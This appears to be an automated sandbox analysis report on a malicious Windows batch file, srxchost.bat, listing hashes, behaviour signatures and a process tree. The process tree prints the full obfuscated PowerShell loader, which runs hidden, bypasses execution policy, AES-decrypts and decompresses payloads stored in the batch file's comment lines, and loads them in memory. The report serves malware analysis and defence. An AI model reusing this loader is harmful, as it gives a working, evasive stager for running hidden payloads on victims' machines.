Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    06-06-2024 12:10

General

  • Target

    srxchost.bat

  • Size

    513KB

  • MD5

    e43692fcd393276b26aa7acb8b82b201

  • SHA1

    b9bab6dfd7f592350b8f737bf8b80f0834e1e75d

  • SHA256

    ed5c3877ddaab5b23fdd42addd28fcf9237e0e229de0dcf66b541f0edfbf7586

  • SHA512

    7113b118aeb5c298e2ea3c67fe6ea4278a368d049cc4eb0ee9e434848cfc2e121988d1ed1b5bb5db3f60f790d13f8ecfb46738fbd27ccd18d2c7c7e0cbe0e878

  • SSDEEP

    12288:cttsUZ2U00BrdEGDAtteOXYG4G/3oIPfi/EkchXo4eDCmX1nsemd:chZGceGSYG48YCi/SDkCZ

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\srxchost.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5Nvu+G01sFnXRXn1/8RSe8OSM157MGNeaBpKNgvlQmQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('q262uBdA7zGN7tlMMJMsbg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tinWu=New-Object System.IO.MemoryStream(,$param_var); $HjYKp=New-Object System.IO.MemoryStream; $OrNaX=New-Object System.IO.Compression.GZipStream($tinWu, [IO.Compression.CompressionMode]::Decompress); $OrNaX.CopyTo($HjYKp); $OrNaX.Dispose(); $tinWu.Dispose(); $HjYKp.Dispose(); $HjYKp.ToArray();}function execute_function($param_var,$param2_var){ $ybaOv=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kgrmV=$ybaOv.EntryPoint; $kgrmV.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\srxchost.bat';$SrAwi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\srxchost.bat').Split([Environment]::NewLine);foreach ($nlhHU in $SrAwi) { if ($nlhHU.StartsWith(':: ')) { $MHhAE=$nlhHU.Substring(3); break; }}$payloads_var=[string[]]$MHhAE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2972

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2972-2-0x0000000074151000-0x0000000074152000-memory.dmp

    Filesize

    4KB

  • memory/2972-4-0x0000000074150000-0x00000000746FB000-memory.dmp

    Filesize

    5.7MB

  • memory/2972-3-0x0000000074150000-0x00000000746FB000-memory.dmp

    Filesize

    5.7MB

  • memory/2972-5-0x0000000074150000-0x00000000746FB000-memory.dmp

    Filesize

    5.7MB